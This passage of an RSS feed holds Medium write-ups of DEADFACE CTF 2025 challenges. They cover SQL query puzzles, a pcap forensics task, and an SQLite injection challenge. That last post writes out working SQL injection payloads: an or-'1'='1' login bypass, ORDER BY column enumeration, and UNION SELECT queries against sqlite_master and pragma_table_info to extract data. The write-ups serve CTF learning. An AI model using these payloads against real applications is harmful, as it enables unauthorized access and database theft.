src="https://cdn-images-1.medium.com/max/683/1*NRmVcd-8HgSFEOFvI7tBdg.png" /></figure><p>SELECT CONCAT(c.first_name,’ ‘,c.last_name) AS fullname,r.rating,r.comment FROM reviews r JOIN customers c USING(customer_id) WHERE r.comment LIKE ‘%EpicSales%’ OR r.comment LIKE ‘%hate%’ OR r.comment LIKE ‘%bad%’ OR r.comment LIKE ‘%sucks%’ OR r.comment LIKE ‘%terrible%’ OR r.comment LIKE ‘%worst%’ OR r.comment LIKE ‘%b1tfr34k%’; this concatenate first and last name as fullname then select rating and comment from reviews then look for specific keywords from from comment column. I applied the method because the task talked about negative words.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/955/1*8vDvB0-m7gGAyDivNgp1Mg.png" /></figure><p>fullname:Billie Tournas flag:deadface{Billie Tournas}</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/661/1*M7gqkgEx8QmjSu9sShN5bA.png" /></figure><p>SELECT e.email, lf.avg_quantity FROM employee_assignments ea JOIN employees e ON e.employee_id = ea.employee_id JOIN (SELECT f.facility_id, AVG(i.quantity) AS avg_quantity FROM facilities f JOIN inventories i ON f.facility_id = i.facility_id GROUP BY f.facility_id ORDER BY avg_quantity ASC LIMIT 1) lf ON ea.facility_id = lf.facility_id WHERE e.role = ‘IT Manager’; this query calculate average quantity from inventories join inventories to facilities using facilities_id also join employee_assignments to employees using employee_id and select the avg_quantity from inventories then return the email and avg_quantity ordering it in ascending order then return the lowest using LIMIT 1 where role is IT Manager.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/955/1*wCRD6EjQG65_BFsTMT8K4w.png" /></figure><p>email: valera.kenner@epicsales.shop avg_quantity:2274.4626</p><p>flag:deadface{valera.kenner@epicsales.shop 2274.4626}</p><p>Wanna learn SQL? check out <a href="https://www.w3schools.com/sql/">here</a></p><p>Thanks for reading:-)</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=92512872d905" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[DEADFACE CTF 2025 part 2 - SQLite007]]></title>
            <link>https://devnull-0.medium.com/deadface-ctf-2025-part-2-sqlite007-000c4609e020?source=rss-c6fcd01bea8c------2</link>
            <guid isPermaLink="false">https://medium.com/p/000c4609e020</guid>
            <category><![CDATA[ctf-walkthrough]]></category>
            <category><![CDATA[deadface-ctf]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[Aderogbarufai]]></dc:creator>
            <pubDate>Mon, 27 Oct 2025 13:48:38 GMT</pubDate>
            <atom:updated>2025-10-27T13:48:38.429Z</atom:updated>
            <content:encoded><![CDATA[<p>Here is another challenge full of injections from deadface ctf 2025.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/597/1*n1o24cajdegpmqrpTAaEzw.png" /></figure><p>Hack with me(:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Odlrkqezs5poig9Y-svKtA.png" /><figcaption>login</figcaption></figure><p>I tried bypassing this secure page using <em>1&#39;or’1&#39;=’1</em> as username and password and boom I was granted access</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EF-T8ovozk-gJHaZm4M6kg.png" /></figure><p>This also looked like an injection point let’s confirm that using this <em>1&#39;or’1&#39;=’1&#39;; —</em> and boom another injection point gotten</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/865/1*H70Pg1FVYyAUdaTABlXN3Q.png" /><figcaption>injection is dangerous!!!!!</figcaption></figure><p>Let’s see how many column we have here using <em>‘ ORDER BY 6; — </em>this confirmed we have 5 column</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KEiTU0-JZsYSi-LXc52YZg.png" /><figcaption>you again!!!!</figcaption></figure><p>Now lets leak some information using union attack I use the payload <em>‘UNION SELECT ‘x’,’x’,’x’,’x’,(SELECT name FROM sqlite_master WHERE type=’table’ LIMIT 1)</em> — in case you are to new sqlite take these:</p><p><em>sqlite_master</em>:Keeps track of structure of database in SQLite database</p><p><em>type</em>: type of object e.g table, index, view and more</p><p><em>name</em>: name of the object</p><p><em>tbl_name</em>: name of table the object belongs to… check out the docs for more info</p><p>so using the payload above we got a table named general</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/897/1*-xU0_qAHeE-yy8_SzvW-zQ.png" /><figcaption>youuuuuuu!!1</figcaption></figure><p>Now let’s check was in there in general I use <em>‘ UNION SELECT ‘x’,’x’,’x’,’x’,(SELECT group_concat(name, ‘,’) FROM pragma_table_info(‘general’)) —</em> or <em>‘UNION SELECT ‘x’,’x’,’x’,’x’,(SELECT name FROM pragma_table_info(‘general’)) —</em>and I got a column named flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/999/1*W0LTD3V4Vo7W19EmMiO0dA.png" /></figure><p>Now let’s get our flag. To do that use ‘ UNION SELECT ‘x’,’x’,’x’,’x’,(SELECT flag FROM general LIMIT 1) — and boom i read there secret flag</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/849/1*vr9GEcPE1iMSsrzoqhWdMw.png" /><figcaption>you!!!! again!!!1</figcaption></figure><p>flag:<em> DEADFACE{you_found_the_sqli_01_flag!}</em></p><p>Thanks For reading &gt;3</p><p><a href="https://x.com/Ru50566Rufai">CONNECT WITH ME ON X</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=000c4609e020" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[DEADFACE CTF 2025 part 1 -Stolen Secrets]]></title>
            <link>https://devnull-0.medium.com/deadface-ctf-2025-part-1-stolen-secrets-ad71c9397209?source=rss-c6fcd01bea8c------2</link>
            <guid isPermaLink="false">https://medium.com/p/ad71c9397209</guid>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[deadface-ctf]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <dc:creator><![CDATA[Aderogbarufai]]></dc:creator>
            <pubDate>Mon, 27 Oct 2025 13:46:56 GMT</pubDate>
            <atom:updated>2025-10-27T13:46:56.600Z</atom:updated>
            <content:encoded><![CDATA[<p>Welcome Fellow hackers, I participated in deadface ctf 2025 and was able to took down some challenge in this blog I will show a Walk through of the stolen secrets(a part based on investigation).</p><p><em>Note actually not a blue team guy but some basic foundation let me solve the challenges.</em></p><p>LET’S GET STARTED!!!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/541/1*uZwTFTvcmAIrVa-By4UgjQ.png" /><figcaption>The Source</figcaption></figure><p>I downloaded the zip file unzip it and access the ip in the file error.log</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/951/1*PkUg_rvn3EM80-ZQM7Krjw.png" /><figcaption>ip</figcaption></figure><p>flag=deadface{134.199.202.160}</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/487/1*hQQpA4NZ5phnXwPphZli-g.png" /><figcaption>calling card</figcaption></figure><blockquote>For this I open the the .pcap file with wireshark and use this filter http.host == “files.techglobalresearch.com” &amp;&amp; frame contains “deadface{“</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/929/1*H99n-xG5v8wXvwPoatJSoQ.png" /><figcaption>calling</figcaption></figure><p>FLAG: deadface{l3ts_get_Th3s3_fiL3$}</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/557/1*uxJWanIqj-V7pf5aGen0oA.png" /><figcaption>Version</figcaption></figure><p>Was Able to found an answer to this one of the HTTP response body</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/931/1*LwCEy-6O-bHGqyJJheCQPw.png" /></figure><ul><li>Notice*Server: nginx/1.25.5\r\n in the response</li><li>Flag deadface{nginx_1.25.5}</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/553/1*Pt23TKESYRW3UI4j7sh_DQ.png" /><figcaption>compromised</figcaption></figure><p>Compromised: Since the successful compromised user account will be logged in to using post request i applied this filter http.request.method == “POST&quot; then I noticed a successful login request to /login.php. I was a able to identify is valid because a /admin endpoint come after it which signify the attacker have been able to login</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/949/1*NW29Vl9y1Pz2yOksHohqww.png" /></figure><p>username:bsampsel, password:Sparkles2025!</p><p>flag: deadface{bsampsel_Sparkles2025!}</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/575/1*2ekTri-sD1odgkJCXHiHyA.png" /><figcaption>sudden user</figcaption></figure><p>Just after the successful login I noticed a POST request that the attacker use add a new user and this is sudden user</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/947/1*C1hl8LngBA-ooZDCKBP7lQ.png" /></figure><p>first_name:Dorla, password:SuP3RS3cr3tD34DF4C3#</p><p>Flag: deadface{Dorla_SuP3RS3cr3tD34DF4C3#}</p><p>This was all I was able to solve. Some other challenges was release in this part in other phase of the CTF(:</p><p>Thanks for reading!!!!!!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ad71c9397209" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>